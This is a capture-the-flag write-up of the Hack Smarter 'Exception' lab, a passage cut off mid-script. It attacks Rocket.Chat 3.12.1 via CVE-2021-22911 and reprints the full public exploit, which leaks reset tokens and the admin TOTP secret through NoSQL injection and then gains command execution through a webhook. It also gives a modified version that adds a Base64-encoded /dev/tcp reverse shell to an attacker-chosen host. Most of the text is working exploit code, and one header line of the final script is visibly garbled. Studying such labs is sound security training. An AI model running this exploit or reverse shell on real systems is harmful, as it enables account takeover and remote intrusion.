> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/exception.md).

# Exception

{% embed url="<https://www.hacksmarter.org/courses/df65d37c-ed63-4eca-8f78-5dede200ec8e>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

As part of an internal penetration test, you have discovered a server handling sensitive corporate communications. Compromising this high-value target is key to demonstrating tangible risk to the client. Conduct a full-scope penetration test against the target IP to identify, exploit, and report on any existing vulnerabilities.

### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided with VPN access to their internal environment, but no other information.

## Summary

<details>

<summary>Summary</summary>

In Exception we begin with only VPN access to an internal server and no prior credentials. Enumeration reveals SSH on port `22` and two web services on ports `80` and `3000`. While port `80` hosts only a static page, port `3000` exposes a `Rocket.Chat 3.12.1` instance. After registering a low-privileged user, we enumerate the application and identify the exact version via `/api/info`. Research confirms that this version is vulnerable to `CVE-2021-22911`, a NoSQL injection that can be chained into full account takeover and remote code execution.

Instead of blindly running the public exploit, we first analyze and understand it. The vulnerability chain abuses unauthenticated and authenticated NoSQL injection to leak password reset tokens and the administrator’s TOTP secret via `$regex` and `$where` operators, resets the administrator password, and finally leverages Rocket.Chat’s webhook integration feature to execute arbitrary system commands. We adapt the exploit to our environment: replacing email-based authentication with username-based login, parameterizing credentials, and integrating a Base64-encoded reverse shell payload to avoid escaping issues.

This reinforces an important lesson: you must read and understand exploits to know what they actually do, what they might break, and to ensure they behave as expected in your target environment.

Executing the modified exploit grants a reverse shell as the `rocketchat` user inside a container. Within the container, we discover `Backup_db.txt`, containing database credentials reused on the host. Using these credentials, we authenticate via SSH as user `Ron` and obtain the user flag. Further enumeration reveals that `Ron` can execute `/opt/log_inspector/check_log --clean` as `root` via `sudo`. The script opens a temporary file in `nano`, which allows shell escape. We spawn a `root` shell and retrieve the final flag from `/root/root.txt.`

</details>

## Recon

We use rustscan `-b 500 -a 10.1.49.196 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.49.196 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/FMrTxlKwX3HTFJYlyRXv" alt=""><figcaption></figcaption></figure>

In addition to SSH on port `22`, we identify two further web services on ports `80` and `3000`.

<figure><img src="/files/pcrUoFgdVKEapaA8JWAu" alt=""><figcaption></figcaption></figure>

### WEB 80

On port `80`, we only have a static page. The directory scan yielded no results, and the chat bot we have in front of us is implemented in JavaScript and does not generate any requests to the server.

<figure><img src="/files/IVCIVIAUWTCC3PpCz8oB" alt=""><figcaption></figcaption></figure>

### WEB 3000

Things get a little more interesting on port `3000`. Here we have `rocket.chat`, which is an open-source team communication platform that provides chat, video conferencing, and collaboration tools similar to Slack or Microsoft Teams.&#x20;

<figure><img src="/files/yGqQiKYjE6FZJjnyiwQE" alt=""><figcaption></figcaption></figure>

We can also register low-privileged users on this service. We do that to enumerate the instance from within.

<figure><img src="/files/OSLP3WhPJaHKP4imrM5l" alt=""><figcaption></figcaption></figure>

We find a `general` chat room where we see the user `localh0ste`. This user also reveals their email address. This could be useful later on.

{% code overflow="wrap" %}

```
http://10.1.49.196:3000/channel/general
```

{% endcode %}

<figure><img src="/files/DDYfHhSeH4A1w91GYucd" alt=""><figcaption></figcaption></figure>

We note that down.

{% code overflow="wrap" %}

```
localh0ste
localh0ste@exception.local
```

{% endcode %}

Perhaps we can find out more about the version. There may be known vulnerabilities. After a quick search, we discover that we can retrieve the version information via `/api/info`. We are looking at version `3.12.1`.

{% code overflow="wrap" %}

```
http://10.1.49.196:3000/api/info
```

{% endcode %}

<figure><img src="/files/SIVcVC0DpWHHoytfrJRB" alt=""><figcaption></figcaption></figure>

Using searchspliot, we look for possible exploits or POCs and find what we are looking for. Version `3.12.1` is vulnerable to unauthenticated NoSQL injection. There are two exploits, one of which even includes a possibility for unauthenticated RCE. At first glance, this seems very promising.

After further research, we discover that the RCE is not the actual vulnerability, but rather results from the fact that we can compromise admin accounts using NoSQL injection `CVE-2021-22911`.

```
searchploit rocket
```

<figure><img src="/files/uYAT1rF1xHbRr7AkZkYY" alt=""><figcaption></figcaption></figure>

## Exploit Analysis

We download the exploit onto our machine as follows:

{% code overflow="wrap" %}

```
searchsploit -m linux/webapps/50108.py
```

{% endcode %}

<figure><img src="/files/9pw44rOi3Gc9SlmOvfdW" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/50108>" %}

First, we take a closer look at the exploit to understand what it does and thus understand `CVE-2021-22911`.

The exploit we found targets abuses `CVE-2021-22911`, a NoSQL injection vulnerability that can lead to a full remote code execution by compromising a administrator account in the exploit chain.&#x20;

The script chains multiple weaknesses together: an unauthenticated blind NoSQL injection to extract password reset tokens, an authenticated injection that leaks sensitive values through JavaScript exceptions, and laslty it abuse a webhook feature that allows administrators to execute arbitrary system commands.&#x20;

The script relies on two different techniques for token leakage, whereby the exception leakage method is entirely sufficient and significantly more efficient, but requires a session of a low privileged user.

The script first takes over a low-privileged account without authentication, then uses that account to extract the administrator’s password reset token and two-factor secret, resets the administrator password, and finally abuses Rocket.Chat’s incoming webhook integration feature to execute  system commands.&#x20;

{% code title="50108.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1 (2)
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
# Info : This is a faster exploit that utilizes the authenticated nosql injection to retrieve the reset token for administrator instead of performing blind nosql injection.

#!/usr/bin/python

import requests
import string
import time
import hashlib
import json
import oathtool
import argparse

parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
args = parser.parse_args()


adminmail = args.a
lowprivmail = args.u
target = args.t


def forgotpassword(email,url):
	payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
	print("[+] Password Reset Email Sent")


def resettoken(url):
	u = url+"/api/v1/method.callAnon/getPasswordPolicy"
	headers={'content-type': 'application/json'}
	token = ""

	num = list(range(0,10))
	string_ints = [str(int) for int in num]
	characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

	while len(token)!= 43:
		for c in characters:
			payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
			r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
			time.sleep(0.5)
			if 'Meteor.Error' not in r.text:
				token += c
				print(f"Got: {token}")

	print(f"[+] Got token : {token}")
	return token


def changingpassword(url,token):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "error" in r.text:
		exit("[-] Wrong token")
	print("[+] Password was changed !")


def twofactor(url,email):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)  
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {email}")

	# Getting 2fa code
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:98]
	print(f"Got the code for 2fa: {code}")
	return code

def admin_token(url,email):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)  
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {email}")

	# Getting reset token for admin
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:89]
	print(f"Got the reset token: {code}")
	return code


def changingadminpassword(url,token,code):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "403" in r.text:
		exit("[-] Wrong token")

	print("[+] Admin password changed !")


def rce(url,code,cmd):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	headers={'content-type': 'application/json'}
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print("[+] Succesfully authenticated as administrator")

	# Creating Integration
	payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
	cookies = {'rc_uid': userid,'rc_token': token}
	headers = {'X-User-Id': userid,'X-Auth-Token': token}
	r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
	data = r.text
	data = data.split(',')
	token = data[12]
	token = token[9:57]
	_id = data[18]
	_id = _id[7:24]

	# Triggering RCE
	u = url + '/hooks/' + _id + '/' +token
	r = requests.get(u)
	print(r.text)

############################################################


# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)

## Getting reset token through blind nosql injection
token = resettoken(target)

## Changing Password
changingpassword(target,token)


# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)


## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)

## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)


## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

## Authenticating and triggering rce

while True:
	cmd = input("CMD:> ")
	code = oathtool.generate_otp(secret)
	rce(target,code,cmd)
            
```

{% endcode %}

### **forgotpassword(email, url)**

The function `forgotpassword(emai, url)` triggers Rocket.Chat’s password reset process for a specified email address. It sends a crafted JSON payload to the `sendForgotPasswordEmail` API method to generate a reset token for the target user.

{% code overflow="wrap" %}

```python
def forgotpassword(email,url):
	payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
	print("[+] Password Reset Email Sent")
```

{% endcode %}

### **resettoken(url)**

This `resettoken(url)` function performs the mentioned blind NoSQL injection against the `getPasswordPolicy` endpoint. It brute-forces the password reset token one character at a time using a `$regex` prefix match and detects valid guesses by observing differences in server responses. This is a very time consuming approach. Its used to retrieve the reset token of a user to perform an account take-over.&#x20;

{% code overflow="wrap" expandable="true" %}

```python
def resettoken(url):
	u = url+"/api/v1/method.callAnon/getPasswordPolicy"
	headers={'content-type': 'application/json'}
	token = ""

	num = list(range(0,10))
	string_ints = [str(int) for int in num]
	characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

	while len(token)!= 43:
		for c in characters:
			payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
			r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
			time.sleep(0.5)
			if 'Meteor.Error' not in r.text:
				token += c
				print(f"Got: {token}")

	print(f"[+] Got token : {token}")
	return token
```

{% endcode %}

#### Blind NoSQL Injection (Reset Token Brute Force)

```python
payload = (
    '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",'
    '\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}'
) % (token + c)
```

#### What this does

This injects a  `$regex` operator into the `token` field. Instead of sending a real reset token, the script sends a regular expression like:

```
^A
^AB
^ABC
```

The `^` means 'starts with'. If the guess is correct, the server responds differently. That response difference acts as a boolean oracle, allowing to reconstruct the full reset token one character at a time.

### **changingpassword(url, token)**

This function submits the extracted reset token along with a new password to the `resetPassword` API endpoint.

{% code overflow="wrap" %}

```python
def changingpassword(url,token):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "error" in r.text:
		exit("[-] Wrong token")
	print("[+] Password was changed !")
```

{% endcode %}

### **twofactor(url, email)**

The `twofactoer(url, email)` function authenticates as the compromised low-privileged user using the `email` and set `password` and exploits a `$where` injection in the `users.list` endpoint. It forces the server to throw an exception containing the administrator’s TOTP secret, which is extracted from the error message. It assumes that the username of the administrator is `admin`.

{% code overflow="wrap" expandable="true" %}

```python
def twofactor(url,email):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)  
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {email}")

	# Getting 2fa code
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:98]
	print(f"Got the code for 2fa: {code}")
	return code
```

{% endcode %}

### **admin\_token(url, email)**

This function logs in as the low-privileged user and performs another `$where` injection. Instead of leaking the TOTP secret, it forces the application to throw the administrator’s password reset token via an exception.&#x20;

{% code overflow="wrap" expandable="true" %}

```python
def admin_token(url,email):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)  
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {email}")

	# Getting reset token for admin
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:89]
	print(f"Got the reset token: {code}")
	return code
```

{% endcode %}

### **changingadminpassword(url, token, code)**

This function resets the administrator’s password using the leaked reset token and a valid TOTP code generated from the stolen secret.&#x20;

{% code overflow="wrap" expandable="true" %}

```python
def changingadminpassword(url,token,code):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "403" in r.text:
		exit("[-] Wrong token")

	print("[+] Admin password changed !")
```

{% endcode %}

### **rce(url, code, cmd)**

This `rce(url, code, cmd)` logs in as administrator using the new password and valid two-factor code. It then creates a malicious incoming webhook integration containing JavaScript that loads `child_process` and executes the supplied system command when triggered.

{% code overflow="wrap" expandable="true" %}

```python
def rce(url,code,cmd):
	# Authenticating
	sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
	headers={'content-type': 'application/json'}
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print("[+] Succesfully authenticated as administrator")

	# Creating Integration
	payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
	cookies = {'rc_uid': userid,'rc_token': token}
	headers = {'X-User-Id': userid,'X-Auth-Token': token}
	r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
	data = r.text
	data = data.split(',')
	token = data[12]
	token = token[9:57]
	_id = data[18]
	_id = _id[7:24]

	# Triggering RCE
	u = url + '/hooks/' + _id + '/' +token
	r = requests.get(u)
	print(r.text)
```

{% endcode %}

You can find out how to do this manually at hacktricks:

{% embed url="<https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/rocket-chat.html>" %}

## Adaption of the exploit

The script we found has a few flaws. For one thing, it assumes that we do not yet have any users under our control. Since we were able to simply create a user, the blind-based boolean injection step to leak the reset token after the password reset is no longer necessary. This was used to set the password of a  low-privilege account to take it over. We can easily comment out these steps in the last few lines.&#x20;

After running the script for the first time - after commenting out the steps -, we receive an error message stating that authentication failed. After taking a closer look at a login request using Burp Suite, we see that in our version, the username is used instead of the email address.

We had to replace email parameters with username parameters in each payload.

Furthermore, it was not possible to authenticate with the username `admin`.

The script therefore had to be supplemented with additional parameters that are requested for execution. These included the username of the low-privileged and privileged accounts and the password of the low-privileged user. These adjustments were then also incorporated into the payloads.

After the privileged account was taken over, the pseudo shell proved to be vulnerable to escaping errors, which caused reverse shell payloads to fail. In the script, the pseudo shell was then removed and replaced with a custom reverse shell payload that does not trigger an escape error. The IP and port for the reverse shell can be specified in the parameters.

Down below is each change and the final script:

### Added New CLI Arguments (Username, Password, Reverse Shell Support)

Lines \~22–33

```python
parser.add_argument('-U', help='Low priv username [ No 2fa ]', required=True)
parser.add_argument('-p', help='Low priv user password [ No 2fa ]', required=True)
parser.add_argument('-A', help='Administrator username', required=True)

parser.add_argument('-H', help='reverse shell host', required=True)
parser.add_argument('-P', help='reverse shell port', required=True)
```

### Stored New Argument Variables

Lines \~38–44

```python
lowprivuser = args.U
lowprivpassword = args.p
privuser = args.A

revip = args.H
revport = args.P
```

### Modified `twofactor()` to Use Username + Password

Lines \~85–106

* Switched from email login → username login
* Password is now dynamic (not hardcoded)
* Target admin username is dynamic

{% code overflow="wrap" expandable="true" %}

```python
def twofactor(url,user,password,privuser):
    sha256pass = hashlib.sha256(password.encode()).hexdigest()

    payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"username\\":\\"'+user+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
```

{% endcode %}

{% code overflow="wrap" %}

```python
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+privuser+'\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
```

{% endcode %}

### Modified `admin_token()` to Use Username + Password

Lines \~108–129

* Username-based login
* Dynamic password
* Dynamic admin username target

```python
def admin_token(url,user,password,privuser):
    sha256pass = hashlib.sha256(password.encode()).hexdigest()
```

{% code overflow="wrap" %}

```python
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+privuser+'\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
```

{% endcode %}

### Modified `rce()` to Use Chosen Username

Lines \~142–171

* RCE now authenticates using provided admin username

```python
def rce(url,code,cmd,user):
```

```python
"user":{"username":"'+user+'"}
```

```python
"username":"'+user+'"
```

### Added Automated Base64 Reverse Shell

Lines \~202–205

* Generates reverse shell
* Encodes in Base64
* Executes via bash

```python
rev = '/bin/sh -i >& /dev/tcp/'+revip+'/'+revport+' 0>&1'
encoded_rev = base64.b64encode(rev.encode()).decode()
payload = 'echo ' + encoded_rev + ' | base64 -d | bash'
rce(target,code,payload,privuser)
```

### Final Script

{% code title="50108-modified.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
# Title: Rocket.Chat 3.12.1 - NoSQL Injectioparser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)n to RCE (Unauthenticated) (2)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1 (2)
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
# Info : This is a faster exploit that utilizes the authenticated nosql injection to retrieve the reset token for administrator instead of performing blind nosql injection.

#!/usr/bin/python

import requests
import string
import time
import hashlib
import json
import oathtool
import argparse
import base64

parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-U', help='Low priv username [ No 2fa ]', required=True)
parser.add_argument('-p', help='Low priv user password [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-A', help='Administrator username', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)

parser.add_argument('-H', help='reverse shell host', required=True)
parser.add_argument('-P', help='reverse shell port', required=True)

args = parser.parse_args()


adminmail = args.a
lowprivmail = args.u
lowprivuser = args.U
lowprivpassword = args.p
target = args.t
privuser = args.A

revip = args.H
revport = args.P


def forgotpassword(email,url):
	payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
	print("[+] Password Reset Email Sent")


def resettoken(url):
	u = url+"/api/v1/method.callAnon/getPasswordPolicy"
	headers={'content-type': 'application/json'}
	token = ""

	num = list(range(0,10))
	string_ints = [str(int) for int in num]
	characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

	while len(token)!= 43:
		for c in characters:
			payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
			r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
			time.sleep(0.5)
			if 'Meteor.Error' not in r.text:
				token += c
				print(f"Got: {token}")

	print(f"[+] Got token : {token}")
	return token


def changingpassword(url,token):
	payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
	if "error" in r.text:
		exit("[-] Wrong token")
	print("[+] Password was changed !")


def twofactor(url,user,password,privuser):
	# Authenticating
	sha256pass = hashlib.sha256(password.encode()).hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"username\\":\\"'+user+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {user}")

	# Getting 2fa code
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+privuser+'\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:98]
	print(f"Got the code for 2fa: {code}")
	return code

def admin_token(url,user,password,privuser):
	# Authenticating
	sha256pass = hashlib.sha256(password.encode()).hexdigest()
	payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"username\\":\\"'+user+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
	headers={'content-type': 'application/json'}
	r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
	if "error" in r.text:
		exit("[-] Couldn't authenticate")
	data = json.loads(r.text)
	data =(data['message'])
	userid = data[32:49]
	token = data[60:103]
	print(f"[+] Succesfully authenticated as {user}")

	# Getting reset token for admin
	cookies = {'rc_uid': userid,'rc_token': token}
	headers={'X-User-Id': userid,'X-Auth-Token': token}
	payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+privuser+'\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
	r = requests.get(url+payload,cookies=cookies,headers=headers)
	code = r.text[46:89]
	print(f"Got the reset token: {code}")
	return code


def changingadminpassword(url,token,code):
